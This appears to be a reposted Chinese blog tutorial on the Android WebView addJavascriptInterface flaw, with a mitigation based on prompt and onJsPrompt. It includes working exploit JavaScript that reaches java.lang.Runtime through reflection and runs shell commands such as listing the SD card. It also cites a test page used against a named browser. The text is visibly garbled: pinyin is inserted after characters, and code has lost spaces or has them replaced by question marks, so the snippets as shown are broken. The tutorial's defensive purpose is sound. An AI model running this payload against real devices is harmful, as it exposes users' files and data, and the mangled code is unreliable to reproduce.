轉(zhuǎn)至:http://blog.csdn.net/leehong2005/article/details/11808557/
1,使用場(chǎng)景
我們很多時(shí)候要使用WebView來展示一個(gè)網(wǎng)頁,現(xiàn)在很多應(yīng)用為了做到服務(wù)端可控,很多結(jié)果頁都是網(wǎng)頁的,而不是本地實(shí)現(xiàn),這樣做有很多好處,比如界面的改變不需要重新發(fā)布新版本,直接在Server端修改就行了。用網(wǎng)頁來展示界面,通常情況下都或多或少都與Java代碼有交互,比如點(diǎn)擊網(wǎng)頁上面的一個(gè)按鈕,我們需要知道這個(gè)按鈕點(diǎn)擊事件,或者我們要調(diào)用某個(gè)方法,讓頁面執(zhí)行某種動(dòng)作,為了實(shí)現(xiàn)這些交互,我們通常都是使用JS來實(shí)現(xiàn),而WebView已經(jīng)提供了這樣的方法,具體用法如下:
[java]view plaincopy
mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(newJSInterface(),"jsInterface");
我們向WebView注冊(cè)一個(gè)名叫“jsInterface”的對(duì)象,然后在JS中可以訪問到j(luò)sInterface這個(gè)對(duì)象,就可以調(diào)用這個(gè)對(duì)象的一些方法,最終可以調(diào)用到Java代碼中,從而實(shí)現(xiàn)了JS與Java代碼的交互。
我們一起來看看關(guān)于addJavascriptInterface方法在Android官網(wǎng)的描述:
This method can be used to allow JavaScript to control the host application. This is a powerful feature, but also presents a security risk for applications targeted to API levelJELLY_BEANor below, because JavaScript could use reflection to access an injected object's public fields. Use of this method in a WebView containing untrusted content could allow an attacker to manipulate the host application in unintended ways, executing Java code with the permissions of the host application. Use extreme care when using this method in a WebView which could contain untrusted content.
JavaScript interacts with Java object on a private, background thread of this WebView. Care is therefore required to maintain thread safety.
The Java object's fields are not accessible.
簡(jiǎn)單地說,就是用addJavascriptInterface可能導(dǎo)致不安全,因?yàn)镴S可能包含惡意代碼。今天我們要說的這個(gè)漏洞就是這個(gè),當(dāng)JS包含惡意代碼時(shí),它可以干任何事情。
通過JavaScript,可以訪問當(dāng)前設(shè)備的SD卡上面的任何東西,甚至是聯(lián)系人信息,短信等。這很惡心吧,嘎嘎。好,我們一起來看看是怎么出現(xiàn)這樣的錯(cuò)誤的??梢匀タ纯礊踉破脚_(tái)上的這個(gè)bug描述:猛點(diǎn)這里
1,WebView添加了JavaScript對(duì)象,并且當(dāng)前應(yīng)用具有讀寫SDCard的權(quán)限,也就是:android.permission.WRITE_EXTERNAL_STORAGE
2,JS中可以遍歷window對(duì)象,找到存在“getClass”方法的對(duì)象的對(duì)象,然后再通過反射的機(jī)制,得到Runtime對(duì)象,然后調(diào)用靜態(tài)方法來執(zhí)行一些命令,比如訪問文件的命令.
3,再?gòu)膱?zhí)行命令后返回的輸入流中得到字符串,就可以得到文件名的信息了。然后想干什么就干什么,好危險(xiǎn)。核心JS代碼如下:
[javascript]view plaincopy
functionexecute(cmdArgs)
{
for(varobjinwindow)?{
if("getClass"inwindow[obj])?{
alert(obj);
returnwindow[obj].getClass().forName("java.lang.Runtime")
.getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
}
}
舉例一:為了證明這個(gè)漏洞,寫了一個(gè)demo來說明。我就只是加載一個(gè)包含惡意JS代碼的本地網(wǎng)頁,HTML其代碼如下:
[html]view plaincopy
vari=0;
function?getContents(inputStream)
{
varcontents=""+i;
varb=inputStream.read();
vari=1;
while(b?!=?-1)?{
varbString=String.fromCharCode(b);
contents?+=?bString;
contents?+=?"\n"
b=inputStream.read();
}
i=i+1;
return?contents;
}
function?execute(cmdArgs)
{
for?(var?obj?in?window)?{
console.log(obj);
if?("getClass"?in?window[obj])?{
alert(obj);
return?window[obj].getClass().forName("java.lang.Runtime").
getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
}
}
varp=execute(["ls","/mnt/sdcard/"]);
document.write(getContents(p.getInputStream()));
function?onButtonClick()
{
//?Call?the?method?of?injected?object?from?Android?source.
vartext=jsInterface.onButtonClick("從JS中傳遞過來的文本!?。?);
alert(text);
}
function?onImageClick()
{
//Call?the?method?of?injected?object?from?Android?source.
varsrc=document.getElementById("image").src;
varwidth=document.getElementById("image").width;
varheight=document.getElementById("image").height;
//?Call?the?method?of?injected?object?from?Android?source.
jsInterface.onImageClick(src,?width,?height);
}
點(diǎn)擊圖片把URL傳到Java代碼
onclick="onImageClick()"
width="328"
height="185"
src="http://t1.baidu.com/it/u=824022904,2596326488&fm=21&gp=0.jpg"
onerror="this.src='background_chl.jpg'"/>
與Java代碼交互
這段HTML的運(yùn)行效果如下:
圖一:期望運(yùn)行結(jié)果圖
上圖中,點(diǎn)擊按鈕后,JS中傳遞 一段文本到Java代碼,顯示一下個(gè)toast,點(diǎn)擊圖片后,把圖片的URL,width,height傳到Java層,也用toast顯示出來。
要實(shí)現(xiàn)這樣的功能,就需要注Java對(duì)象。
簡(jiǎn)單說明一下
1,請(qǐng)看execute()這個(gè)方法,它遍歷所有window的對(duì)象,然后找到包含getClass方法的對(duì)象,利用這個(gè)對(duì)象的類,找到j(luò)ava.lang.Runtime對(duì)象,然后調(diào)用“getRuntime”靜態(tài)方法方法得到Runtime的實(shí)例,再調(diào)用exec()方法來執(zhí)行某段命令。
2,getContents()方法,從流中讀取內(nèi)容,顯示在界面上。
3,關(guān)鍵的代碼就是以下兩句
[javascript]view plaincopy
returnwindow[obj].getClass().forName("java.lang.Runtime").
getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
Java代碼實(shí)現(xiàn)如下:
[java]view plaincopy
mWebView?=?(WebView)?findViewById(R.id.webview);
mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(newJSInterface(),"jsInterface");
mWebView.loadUrl("file:///android_asset/html/test.html");
需要添加的權(quán)限:
[html]view plaincopy
當(dāng)點(diǎn)擊LOAD菜單后,運(yùn)行截圖如下:(理論上應(yīng)該出現(xiàn)圖一界面)
圖二:實(shí)際運(yùn)行結(jié)果,列出了SDCard中的文件
舉例二:360瀏覽器也存在這個(gè)問題,我測(cè)試的系統(tǒng)是android 4.0.2,360瀏覽器版本是:4.8.7
在瀏覽器輸入框中輸入:http://bitkiller.duapp.com/jsobj.html,然后前往,它會(huì)出現(xiàn)如下的界面
圖三:360瀏覽器運(yùn)行結(jié)果
說明:其中searchBoxJavaBridge_不是360注入的對(duì)象,而是WebView內(nèi)部注入的,這是在3.0以后的Android系統(tǒng)上添加的。
在關(guān)閉這個(gè)對(duì)話框之后,它會(huì)列出當(dāng)前SDCard上面的所有文件列表,如下圖所示
圖四:錯(cuò)誤結(jié)果
1,Android 4.2以上的系統(tǒng)
在Android 4.2以上的,google作了修正,通過在Java的遠(yuǎn)程方法上面聲明一個(gè)@JavascriptInterface,如下面代碼:
[java]view plaincopy
classJsObject?{
@JavascriptInterface
publicString?toString()?{return"injectedObject";?}
}
webView.addJavascriptInterface(newJsObject(),"injectedObject");
webView.loadData("","text/html",null);
webView.loadUrl("javascript:alert(injectedObject.toString())");
2,Android 4.2以下的系統(tǒng)
這個(gè)問題比較難解決,但也不是不能解決。
首先,我們肯定不能再調(diào)用addJavascriptInterface方法了。關(guān)于這個(gè)問題,最核心的就是要知道JS事件這一個(gè)動(dòng)作,JS與Java進(jìn)行交互我們知道,有以下幾種,比prompt, alert等,這樣的動(dòng)作都會(huì)對(duì)應(yīng)到WebChromeClient類中相應(yīng)的方法,對(duì)于prompt,它對(duì)應(yīng)的方法是onJsPrompt方法,這個(gè)方法的聲明如下:
[java]view plaincopy
publicbooleanonJsPrompt(WebView?view,?String?url,?String?message,
String?defaultValue,?JsPromptResult?result)
通過這個(gè)方法,JS能把信息(文本)傳遞到Java,而Java也能把信息(文本)傳遞到JS中,通知這個(gè)思路我們能不能找到解決方案呢?
經(jīng)過一番嘗試與分析,找到一種比較可行的方案,請(qǐng)看下面幾個(gè)小點(diǎn):
【1】讓JS調(diào)用一個(gè)Javascript方法,這個(gè)方法中是調(diào)用prompt方法,通過prompt把JS中的信息傳遞過來,這些信息應(yīng)該是我們組合成的一段有意義的文本,可能包含:特定標(biāo)識(shí),方法名稱,參數(shù)等。在onJsPrompt方法中,我們?nèi)ソ馕鰝鬟f過來的文本,得到方法名,參數(shù)等,再通過反射機(jī)制,調(diào)用指定的方法,從而調(diào)用到Java對(duì)象的方法。
【2】關(guān)于返回值,可以通過prompt返回回去,這樣就可以把Java中方法的處理結(jié)果返回到Js中。
【3】我們需要?jiǎng)討B(tài)生成一段聲明Javascript方法的JS腳本,通過loadUrl來加載它,從而注冊(cè)到html頁面中,具體的代碼如下:
[javascript]view plaincopy
javascript:(functionJsAddJavascriptInterface_(){
if(typeof(window.jsInterface)!='undefined')?{
console.log('window.jsInterface_js_interface_name?is?exist!!');}
else{
window.jsInterface?=?{
onButtonClick:function(arg0)?{
returnprompt('MyApp:'+JSON.stringify({obj:'jsInterface',func:'onButtonClick',args:[arg0]}));
},
onImageClick:function(arg0,arg1,arg2)?{
prompt('MyApp:'+JSON.stringify({obj:'jsInterface',func:'onImageClick',args:[arg0,arg1,arg2]}));
},
};
}
}
)()
說明:
1,上面代碼中的jsInterface就是要注冊(cè)的對(duì)象名,它注冊(cè)了兩個(gè)方法,onButtonClick(arg0)和onImageClick(arg0, arg1, arg2),如果有返回值,就添加上return。
2,prompt中是我們約定的字符串,它包含特定的標(biāo)識(shí)符MyApp:,后面包含了一串JSON字符串,它包含了方法名,參數(shù),對(duì)象名等。
3,當(dāng)JS調(diào)用onButtonClick或onImageClick時(shí),就會(huì)回調(diào)到Java層中的onJsPrompt方法,我們?cè)俳馕龀龇椒?,參?shù),對(duì)象名,再反射調(diào)用方法。
4,window.jsInterface這表示在window上聲明了一個(gè)Js對(duì)象,聲明方法的形式是:方法名:function(參數(shù)1,參數(shù)2)
以下是在實(shí)現(xiàn)這個(gè)解決方案過程中遇到的一些問題和思考:
【1】生成Js方法后,加載這段Js的時(shí)機(jī)是什么?
剛開始時(shí)在當(dāng)WebView正常加載URL后去加載Js,但發(fā)現(xiàn)會(huì)存在問題,如果當(dāng)WebView跳轉(zhuǎn)到下一個(gè)頁面時(shí),之前加載的Js就可能無效了,所以需要再次加載。這個(gè)問題經(jīng)過嘗試,需要在以下幾個(gè)方法中加載Js,它們是WebChromeClient和WebViewClient的方法:
onLoadResource
doUpdateVisitedHistory
onPageStarted
onPageFinished
onReceivedTitle
onProgressChanged
目前測(cè)試了這幾個(gè)地方,沒什么問題,這里我也不能完全確保沒有問題。
【2】需要過濾掉Object類的方法
由于通過反射的形式來得到指定對(duì)象的方法,他會(huì)把基類的方法也會(huì)得到,最頂層的基類就是Object,所以我們?yōu)榱瞬话裧etClass方法注入到Js中,所以我們需要把Object的公有方法過濾掉。這里嚴(yán)格說來,應(yīng)該有一個(gè)需要過濾方法的列表。目前我的實(shí)現(xiàn)中,需要過濾的方法有:
"getClass",
"hashCode",
"notify",
"notifyAll",
"equals",
"toString",
"wait",
【3】通過手動(dòng)loadUrl來加載一段js,這種方式難道js中的對(duì)象就不在window中嗎?也就是說,通過遍歷window的對(duì)象,不能找到我們通過loadUrl注入的js對(duì)象嗎?
關(guān)于這個(gè)問題,我們的方法是通過Js聲明的,通過loadUrl的形式來注入到頁面中,其實(shí)本質(zhì)相當(dāng)于把我們這動(dòng)態(tài)生成的這一段Js直接寫在Html頁面中,所以,這些Js中的window中雖然包含了我們聲明的對(duì)象,但是他們并不是Java對(duì)象,他們是通過Js語法聲明的,所以不存在getClass之類的方法。本質(zhì)上他們是Js對(duì)象。
【4】在Android 3.0以下,系統(tǒng)自己添加了一個(gè)叫searchBoxJavaBridge_的Js接口,要解決這個(gè)安全問題,我們也需要把這個(gè)接口刪除,調(diào)用removeJavascriptInterface方法。這個(gè)searchBoxJavaBridge_好像是跟google的搜索框相關(guān)的。
【5】在實(shí)現(xiàn)過程中,我們需要判斷系統(tǒng)版本是否在4.2以下,因?yàn)樵?.2以上,Android修復(fù)了這個(gè)安全問題。我們只是需要針對(duì)4.2以下的系統(tǒng)作修復(fù)。
轉(zhuǎn)載請(qǐng)注明出處,謝謝大家?。。?/p>